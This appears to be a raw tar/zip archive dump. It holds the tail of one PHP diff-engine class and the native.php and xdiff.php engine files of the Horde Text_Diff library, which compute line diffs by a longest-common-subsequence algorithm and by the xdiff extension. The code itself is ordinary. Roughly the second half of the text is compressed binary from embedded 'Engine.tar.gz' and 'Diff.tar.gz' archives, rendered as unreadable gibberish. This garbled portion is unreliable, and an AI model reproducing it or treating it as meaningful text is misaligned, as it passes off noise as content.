        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                             native.php                                                                                          0000644                 00000037261 15217301663 0006560 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
                                                                                                                                                                                                                                                                                                                                               xdiff.php                                                                                           0000644                 00000004233 15217301663 0006363 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     PK     j\CӶS  S    Engine.tar.gznu [              =v8@2:mչ/dwO$} 	6ErHʒ2*\$;tOoxrb	
Bn(ip܍'~ϓGn?~<y˟<~5r(,ͼ}o`mv%)O,#,J_dl(FE,elDS]M8fDsqSԈ̟C6?유YEl>>d!wJcKoٔP[I!OxRnvFp.@)s:O&,k4(O2?f?ɥi٣%ڝ%CNkN,yw`^Ks"3 JaRx_}F0Eyr&B624_~weߏ2Ve,>SRqH(X,%
v/Ag3~2@#1gJS1vPһ^Zuadܻ)>U:f"I3{7zS"|pHE)Cø.8!ճisci}ٗMẻV{g@- 0R34$j>A}2a
X6F;=LOM8V[гjHH@u?jHgKMwKM|iIQA³YʵKHx@
3!7c,\m5B-{^_vpJÆ(L5|oJň5lq5-věeQ@}dj;nv,A2/=~m8瀇M갅ɾ+tկN9a_}4K5Urr^≔'I4ERKgq%YagcՂ'mk{{NTt:ʄhe6͂!~/r@E
;?A1$U7ð/ƚ׽|6]Xl h35KmfX@ku@§5ϭ	*h@'`(䖔P
_`*K3]lFYYocu!S@3F"<Q,cUTL:OcTG#[eƏrn,LV2@3eD())jCjOg5,i,6EXPR :lW@P5w|ҹ@Ӿ;NXf
LګaXyg(F+Jģ]sgǌE^V9mK:&^JP.Hs}1tGkhisSxmө'?±4Pݭc_+ȪAS7J	
wKtR.Wp`{3C_X2tFsߐYUV~,%Ucviwk)&[uS̈́:1R$Us-&Y5t..Pсd%Jǒ`26yDѕ\mP2kVCFXwCtQZ֨Â~5{JX+13_e-&zr=.WΈz]cQQ h>?}:p<
hU\
D7Ig9Tw?mf4P$v5%ݲgp%ɜԳi>8DYŐ|*{_5ʡ$Ӆ4t25-̙^۝hlmeL=ᵵƺlDtK4~;_JZ6+@"ձR`?U֢Ҳ	n*ˡ!ecSsx;8uY󭧉-Ѥ݄&,,J|]Jb-.K۳WJ}nIߞ}?M>}אm~ԈO:A˦v?|sDI 'K{AIlFe~4gYGĐwk82P,߰XDcU]ʋ	} r9:"BB3m}& (8z"x6yWXͷy&ęnMpLgmyNd1k/Q9%!7αQ4z¯[ސF0ßvNAOFN)o-
䴺fj\mQ1ZmݱTJ!eSx)ʚ6.+Ӗ;*sYsaVY;bimn1fϩVR6ц pmƧ`0LN1M0B$Mzǎ83I0q'aUnX4`ZigیbL_u{shFq͚6G$mA]_
dem?*w!M^X]M:$+FV'tgDz΂@˫,9&c+ԱWc&
(kgPϿv/lŊ(FSTO{v7h~R,z<ℏϧ{¨juj~צo?knF`&h(Nw7/C=#ue楪ayq4噪|gȠ 2U<YLLAJE[`3>'[<<Y`HV9:¬&̜6X`=ekYj~ztVC`XvY8;~T0,4ZiW^޳W)^ J*FZ@sh]j:j1Ό^;U$rgJHPp+v)ӻ6߽k=vS||px/=?%-|Y"oA?+=%'3T>gC<AŞ)?`jOzwzpaetb7D_cVMlS)2	L%_}C>p+y'#X#qe'BٌQLp[C"̐0*͒dPr8^@7y^'`o9{P3(fS4'hugp\Be78窯,W\^$!^rEAգ45$t2-BGu>ǖ3:E_Գě+4;tuXlK_	L\_ïw_,oo9E<;]`gLN|tmތ3/G	h̩DCFi= 0,z{yIY@{u=By͓UȠmu@{מ0ͼN,{aw3>`^Ӟ^^ÿy?{v޺DCcr=yWBp{ڍ~ڝˇ8N3.ɠ'?u'4hJMyBP)RUy0뷱w~+xj;vP'^G᪩1"l(ҬzL k;@7]ŵY8=em:{0A2dohp`.{D\	v0tK2h inZ#'eI84Skَ"T˹1k7j@PN\k,_(]:KץZTJRb+e*_{&<'ppZY1*l
e2/FVUEhC*g!Ee%
\ܿ1~>*)̹}<+ʃtEYjB\R3:Ikȯ
]ȇc4ʬ?Р%%qɯ@eI`çn@@(X}ko@ÅPp)~AXK!Z5
x<#@EqI$M%bR%Oc1iBgͬvKE(߯XuWH#
0ᬲS@fi)ؚ5Q-w@RԓSH4Id+s"nȦ,]AGo-!"SozoQ&cpy*Ixf܊0VvQPQy/е]^U-UgGA+K8\+J<[yNR0Uq0_ϕ[isTJ_U^>	by<(60<S{@\hq߹r1wg)|_P˕zQʝ};Ci(,uJ7 uhYܛ#~V]ǫ$3 r'LJ[(u"kݴ-[BB@;6/ĵdҗwvvb;
m4e͟_m[?Ƚor
D^'B 
wciURu"f'ނk	V1t
ITXPz[$WK31 /`Hc :>FgʦSEkD7A!FasAofmOͶ߶}U@]TE!t*"e>AА05?AL8mj$hqA̦++9< nPT-ok4
a\<!LE}![+7k/Η?f7(U G	ԲPxc݌0XoK-'hɔ3cI<  4g.fK!Wiqq)膻oMebU=xCP'oPzdę=ۼ->G_A TiU4%YVܓxb]7xBt:NTv} GNZ¹CxX,7âB
tŻ
!a
͝YDEB;f)z[PUFӣ*#?&N!g\thk_^Pwg9ĩb*CY4I4LM9-@%wJ⠅R-˥~	F-11o,W8c{
߫BZkk(v$"t!+ï6G63i]~cbUyеFh
0YH_LqluWȕ=ўzdD}!6oTs,U5uYE\>[KW6-{eb^]LTS̳.Hxx>	,JI]O
#Iv4WVOk][<N;-flzO*󅬶FbTYYJES6D@P+4Hc9(63 P֒ooXl2`rPփQ ~(eKJJm	UshUsn#} $~ٱ _c,i-?ŶZ\KK5aUW9</y Q֪VM
 6ZѺX~C cMH.W3Qe^`1H?quYɄAtpEIǢCugmv4F~2\fTHd5.C,"DRSHPr)SF
 \HS$O$:dL qz2<N94|S#9<;Hh"SC^b2	O.Nosm y˲E&<Tcq0QcT *kˊ*5X`Z9VTPhoU!bGxF`WkF\ʈtyyTIr0;n/]B[ٌ,{NS8\hC6|v1T'<Jo`pX	TE#],\>n 46B6ic>@r|@a6[{E`ٰ#lƛ'&qLϴ[o?`I=Le)y[qd-PioNwv	rl񰢳E3ڌ:cS12JV4\8.@ V\~3ٯd]Kn@FBXAt<]2p%PoV!RiOo)QfbanhlO)oܛN~B5c ǒvX4мT,MZ&m9_U*#< ~*%6#ȟDQu^q0bghRLMةk)&- ?^yJB߉Q	U
_H _9^°Z߽̚Tܪ0*Y<OA>׹ePWi(4Fty4HNNCsf+Wo=	`&lnyFsʿw$YqD嶠eːd/Ż4k$l<ì6N.>V>h	rM[ ebäj]ڵЊ ^x'b589,^XC'{#/m.Gt!~gJrhAV8Í.Ui6VѺB̡n_vw1fWPB m(Z
;e`6=$0Ip'P
jCntX3=u}	{̀y%qkKVqZEh	xt(h}1ȍz	X<qp"Ȕw!mԘzQ:{/Vn|4KVz4:	
J=	-#R1v+y=y.AueXo?я;TKȼF(1`T29Dd<cG߼9~{<`3RYV֢{Cue*5ٰ6e%_DLas.	ҞΛW}њ9deEʂ=7
9\ʁܼ΅E.\ o]E$e̷BT]dpSLFTm4umarNJ<-iT]_-m,'H0'~k|kOWO~- _YOu`wc{>5Wmp`Tʷf63ТLH<V<-sY56|-uESu)[(ɛ$F1:M_ngA5?rᓇ_xdT>	sn<{"ҵПv'T@o'^Q̌DUn\KCfA9FmЭ)M$EDxfir99Qmױ޶Zt
[F}k$2֦**bn(έ	%mv尿`c5 ZE)nl$OG׷픋dI̀9Hy˙<GD6 FYm7>`r-ۡmV1(|=Flm2|`CTb
t&x@SnCbC؄/7rjj2op
Cp6k/pzeY1@C:2	_0+2^`$I#ؼ|+tk\uxJ98yu^X|n.u_כj680x/|y<__m   PK     j\;    Diff.tar.gznu [              	 T8n%}Ⱦ;Q".kØa"R*{ɒ(KViehQ
"wf>oﾯs}sg;	Cbp$zya|hQ .YiUӁKJJF@BFRBNJ\V\\H= U_^(p7ģ.mo0Gm/+6)FhSHgK~FY4%­>59;fyLIwghqacc*9F[oR:CY$Klnފ~αC?S<KP=\InF,I@^/6iGutB&[FT77ֺŐ0}YM?WLqpݗq;]3)iw^jwv7/kl O5j?[p~KvlC	mzy;0)H@xY*-{o氹,2W7Z׻a@
umIaYswwmx7x:yLa|ŗz/v6K.}C뉌3}ajmWt-%2}lËͩb]wGNmT羦"C&I03Ta276upOyɾU?&C&ܵ-SΣɑwti+jNQFv;E"Rt,׸)v)5˽
8@jr>#e_IDMЄgQ	VcgvIJff~,F\֥pw<՜Nj㖒W)+u%neyo)).@zl+6^gPRL:wHI犓f$nF_>~޲I#)l鿡S&:bWe{
֫۹__]H4;X{.w+hR7RvCPl*Ի?86Q5Gd3ƙ\t>#A	E5<foxʌd{x"Ջ'j{\~7BuV7,]C-\	z>r]籷Y^?k>%4ൃROBzR.'8lyFjF+֬%Ur.{:؉[K7m4VwNtuJS}睸{ω62;؜=1&UdıJ0$:cr3+R|܆FF8HASfUʿ*EE鼮&<FN	{=yAy}UIHHMwAnq1qUh=n#?-:jUϵzA3GyÍ뭊d϶;I1nbkݰM}Wx[̕ܓ#stV)7]OwK/Rok1b}fʙ.7w^Ϝ0)T/.}&V5Ua0]f;.&t̏
ur:oQ/9
<N)+DU^Äݑ[v>#fC!ܜ2fJ^$AV
Mn(H*/H{(ё/ڈݟR;Hvlr?jI</EYqU.(A
yw3z&	gB}jd/^ Ih&'3VޒcTӒ]qm䫝S'<j>1smSޓ^bvN(%qzk';+Ƶ[dY=J9d9y/DD~+>%IUlQ.z:NJYu zX2mf?0<a16IVɜbZnIɮkw]_?z<w'kvӄ)0^Մ(n3Q@gHǎ .qgzC)؛	jm=2]L.)hS<+IiXƥb3]>%nZxUxkFٲ&jxL	=	SUo7ʾ<y#d9ScCk&v|Jp!1a=!6g;|G#ߏCB~lgg?"%s㝩ibNm1gW3]};f&g_x]>ސ}_<;37L]=ԁrflx_|.~{_	NV|"xfS;fX7wf3E_Lݙںgv83D췑7w9f)S޶OΌk`(o|pfw'0`eD,tvv ܥxx;f> :Eǁw;|`eƾO3L]tjJp1?7wR҅x&ptTw;>|-\/zv|;NOX;E.Ev:[xoos3nuLD+ݓ{L\7u}R4iS?"{8C%S쥉C5tmzIɛ*2e1WzB?|fǡRGt4"Ӳ1\0`"$͂}vcݣW#16:ԝPOFͣu28qV!}6o?*7ylohz<py	=E6vC	iF-:_$Gx8i^
wZht`Ʉ.GT>鉸WsΏw5mi=%Ƒ:Ѵh岐4-rӣ[lzT|QMUsr:M?]wfcqZќ+3޹G÷	qY&4}2­y݊d0%y憬4mj=2OwA*E>֋w>u(ƛB:Wy)RIY31SDݵ{4W>Ͼlؤ"{B!mx
5j-F9Ix5ݱtOlw:?%V4.۷F:lj h)MX.mt&\~ӣmu%tnG#w cͼI^rN	ZZG8k4A`#Cw%DD`y7~9K<?ˤ%ݞ	RBuov=W:yi:y]}A3^+53PyfwI~'`!'-ɊTyvGSs#oKry̙W&R|#mT8!$?NF<;DL,MdJqCRsQQa6!3wT?cH{H"`}5Aèyγ_Co~z/6Y50&.vھ鞁fLq[츥 ȵ]0N77awIFx7ͪ]\gH$ÅKXw<+Ž"ԎFHL|H3'#[	1{"f܃_sqmEԣR<?"pwqUTmCZNCN/.cm_6P[R+UXzWOv(0M-ؖ=yX=>*%Kj=eSsUw&X6aP\3w]]|Jdm@'G}+JژAM^ sNw
FI]fH9/H)"zCEƹxUx0Rj,G->GnzQNftRJf!Uc`4ܸ_ve0;ԷMȳ+ÌH2`/rnv#D{_tr#*lvH[D$1|T	Y<#X}:>'Iia
[^;-K2yW*e dOU303vg8CUQDe<Cǿ-e3纵X:o{o9 A4 %.A\$\&ӝ:dpk̨|~p}{CλqFyv.HjZ]BU$G7R|"z:߃H	Ӟ
FDDvU)<')d&$xP\r"kB~!4QB^WH6tyzMD_/E+HO+IVxu-Eﲵ:BО$<-adci03ܶ<ݼG-^j+kMv׿4,%nR>pW"b2r;wd};R)aYmIfk';Rj{{;װZ>i4+wdFY|.½vqϦċi6RRVPIUcq&_&ZIxRg./i3*G_}("0'<'PMtP{s\<dλo~hD5cɵ%WN(.FHv$c~{۫OJ>vs"@Z_CRRrVCMDSd%״y%Uuoݎ\8_Ԇϼ	{{D;C'vpwj+`AG</X'y$ȅA똊;<w2֔E`@*b5B;R.vR+7ո}9 $ 5*IB
w?q+ː%hd=֕Xwk~ς^K>Eԣ 	zD5Nbzwrz'k -ג>$ ƘSz!F'SE?|NM10Lf*|&ChfcAԹ/$$uMѵd2nև5s<٨ao	muW")~=OL".iMocڔGW7iV,W@m	{Gm'L<@]`z-/>Rh4eN=P=(n0N$vP)BuU X̓v97ܪ]:#}/VmEVS5Z}_FA:²!g `dc3iRtf
NLeWӹ)tF#ܘ	֭7+o1}{pÖS&^oUqdt!rU#rTƵsJ*jY,D%m`J.bKw9o˓m]z%u_HJvG9O4HM;GVR{>="}f#w.i<71df GC{Jn"~p" Tkg,;dH	qs?=a$~(޲w3~lOX93Fѳl:44f5CW_[,zMMd+1XoZ\u2HX<O.#%A}y-yǣK>Q(yUԿ M=Ktsư?9$}aEMwJxSgɎn23Sѷn͔hI} sOAt9qD6Oԕ]Lnlc0"ZsC{

wjNrzy8yAӲ]u_AJ+ⲃ|;[Oo qq5$[^jˣw}2hh]fؾHm2oT~zSQ{鴴Dzl}*,U{N+&I5nuϢDNSr&Bi-Z51ꎮyO ˥g!_3&/~UqbT;Q&r*Mw@p`u,϶RuaȾnoU 4< RM}pykNE(2ޘ>(㱕 k޶bjɰnMY?Eh;ҹq^E+
